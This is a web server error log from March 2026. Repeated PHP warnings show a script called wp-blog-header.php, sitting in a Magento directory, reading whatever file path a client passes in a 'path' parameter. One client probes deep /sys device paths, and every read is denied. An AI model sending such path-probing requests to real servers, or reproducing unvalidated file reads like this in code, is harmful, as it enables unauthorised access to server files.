[Thu Mar 26 10:44:43.521209 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:44:44.506662 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:44:45.133788 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/ac
[Thu Mar 26 10:44:45.649497 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 10:44:47.193461 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 10:44:47.742661 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/drivers/ec
[Thu Mar 26 10:44:51.489293 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:de
[Thu Mar 26 10:44:54.095390 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:fc
[Thu Mar 26 10:44:54.633345 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:fc
[Thu Mar 26 10:44:55.728887 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 10:44:59.888890 2026] [php:warn] [pid 3106380] [client 74.7.241.26:57470] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ac
[Thu Mar 26 10:45:04.925627 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:ee
[Thu Mar 26 10:45:09.164929 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 10:45:10.182697 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 10:45:15.417160 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ce
[Thu Mar 26 10:45:17.494023 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ce
[Thu Mar 26 10:45:18.006713 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:fe
[Thu Mar 26 10:45:21.739509 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/drivers/ec
[Thu Mar 26 10:45:28.207596 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:45:30.432096 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:bc
[Thu Mar 26 10:45:32.512377 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 10:45:34.640737 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:45:41.457040 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/drivers/ec
[Thu Mar 26 10:45:44.164578 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/device:ce/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/device:ce/subsystem
[Thu Mar 26 10:45:46.272026 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ec
[Thu Mar 26 10:45:48.377593 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:aa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 10:45:50.443317 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:dc
[Thu Mar 26 10:45:52.576252 2026] [php:warn] [pid 3106758] [client 74.7.241.26:54026] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:aa
[Thu Mar 26 10:45:58.690351 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:fc
[Thu Mar 26 10:46:00.266455 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:46:00.789494 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/drivers/ec
[Thu Mar 26 10:46:01.732598 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:ea
[Thu Mar 26 10:46:04.960202 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ba
[Thu Mar 26 10:46:05.539255 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ce
[Thu Mar 26 10:46:09.781295 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 10:46:12.958486 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ec
[Thu Mar 26 10:46:14.536191 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 10:46:17.258625 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:ea
[Thu Mar 26 10:46:17.765147 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 10:46:20.948423 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:bc
[Thu Mar 26 10:46:23.650608 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:46:30.601864 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 10:46:38.244249 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ec
[Thu Mar 26 10:46:39.879074 2026] [php:warn] [pid 3107074] [client 74.7.241.26:43066] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
